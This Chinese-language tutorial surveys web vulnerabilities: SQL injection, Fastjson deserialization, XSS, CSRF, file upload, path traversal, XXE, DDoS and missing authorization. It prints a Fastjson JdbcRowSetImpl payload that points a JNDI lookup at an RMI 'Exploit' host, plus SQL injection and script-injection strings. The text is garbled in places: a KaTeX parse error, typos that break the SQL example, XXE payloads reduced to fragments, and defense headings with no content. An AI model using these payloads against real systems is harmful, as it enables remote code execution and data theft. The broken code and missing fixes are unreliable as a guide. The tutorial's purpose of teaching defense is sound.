一种代码注入技术,一般被应用于攻击web应用程序。
通过在web应用接口传入一些特殊参数字符,来欺骗应用服务器,执行恶意的SQL命令,以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。
常见的业务场景:在web表单搜索框输入员工名字,然后后台查询出对应名字的员工。
前端页面把一个名字参数name传到后台,然后后台通过SQL把结果查询出来
name = "田螺";//前端传递
sql = "select * from employee where nama=" + name;
如果前端传过来的是 ’ ’ or ‘1’=‘1’,这个SQL会把所有的员工信息全都查出来了
select * from employee where name='' of '1'='1';
防止SQL注入
1、使用#{}而不是KaTeX parse error: Expected 'EOF', got '#' at position 15: {} MyBatis中,使用#̲{}而不是{},可以很大程度防止sql注入
2、对于SQL异常不要暴露响应给用户,可以自定义异常进行响应。对于前端传递的参数要进行过滤验证。
JSON反序列化漏洞如何被攻击?
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("调用了name方法");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("调用了age方法");
this.age = age;
}
public static void main(String[] args) {
String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"Java3y\"}";
User user = JSON.parseObject(str,User.class);
}
}
加了@type属性就能调用对应对象的setXXX方法,而@type标志指定反序列化成某个类。
通过找到某个类,进而找到某个setXXX方法中通过构造的命令执行,即可达到攻击。
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
setDataSourceName 简单设置了设置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法调用,参数刚好就是在setDataSourceName中设置的dataSourceName。
public class FastjsonTest {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
//JDK 8u121以后版本需要设置改系统变量
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//RMI
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSONObject.parseObject(payload2);
}
}
XSS 攻击全称跨站脚本攻击(Cross-Site Scripting),这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS攻击一般分三种类型:存储型 、反射型 、DOM型XSS
案例:
<input type="text" name="name" />
<input type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">
body>
①、用户输入搜索信息,点击搜索按钮,就是到达正常服务器的。如果黑客在url后面的参数中加入如下的恶意攻击代码。
http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');script>a>
②、当用户打开带有恶意代码的URL的时候,正常服务器会解析出请求参数 name,得到"",拼接到 HTML 中返回给浏览器。形成了如下的 HTML:
③、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
④、实际上黑客攻击的时候,是引诱用户输入某些重要信息,然后跳到他们自己的服务器,以窃取用户提交的内容信息。
如果解决XSS攻击问题
CSRF,跨站请求伪造(英语:Cross-site request forgery),简单点说就是,攻击者盗用了你的身份,以你的名义发送恶意请求。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
①、Tom 登陆银行,没有退出,浏览器包含了Tom在银行的身份认证信息。
②、黑客Jerry将伪造的转账请求,包含在存在帖子
③、Tom在银行网站保持登陆的情况下,浏览帖子
④、将伪造的转账请求连同身份认证信息,发送到银行网站
⑤、银行网站看到身份认证信息,以为就是Tom的合法操作,最后造成Tom资金损失。
解决CSRF攻击
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。
解决方案:
文件下载漏洞,举个例子,使用 … 等字符,使应用读取到指定目录之外的其他目录中的文件内容,从而可能读取到服务器的其他相关重要信息。
一般敏感信息包括密码、用户手机身份证信息、财务数据等等,由于web应用或者API未加密或者疏忽保护,导致这些数据极易被黑客利用。所以我们需要保护好用户的隐私数据,比如用户密码加密保存,请求采用https加密,重要第三方接口采用加签验签,服务端日志不打印敏感数据等等。
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
场景一:攻击者尝试从服务端提取数据
DOCTYPE foo [
<!ELEMENT foo (#ANY)>
]>
]>
<foo>&xxe;foo>
场景二: 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络
]>
场景三:攻击者通过恶意文件执行拒绝服务攻击
]>
如何防御XXE
DDoS 攻击,英文全称是 Distributed Denial of Service,谷歌翻译过来就是“分布式拒绝服务”。一般来说是指攻击者对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。在线游戏、互联网金融等领域是 DDoS 攻击的高发行业。
如何应对 DDoS 攻击?
弱口令:
证书有效性验证漏洞:
如果不对证书进行有效性验证,那https就如同虚设啦。
如果是客户生成的证书,需要跟系统可信根CA形成信任链,不能为了解决ssl证书报错的问题,选择在客户端代码中信任客户端中所有证书的方式。
证书快过期时,需要提前更换。
未鉴权等权限相关漏洞
一些比较重要的接口,一般建议鉴权。比如你查询某账号的转账记录,肯定需要先校验该账号是不是操作人旗下的啦。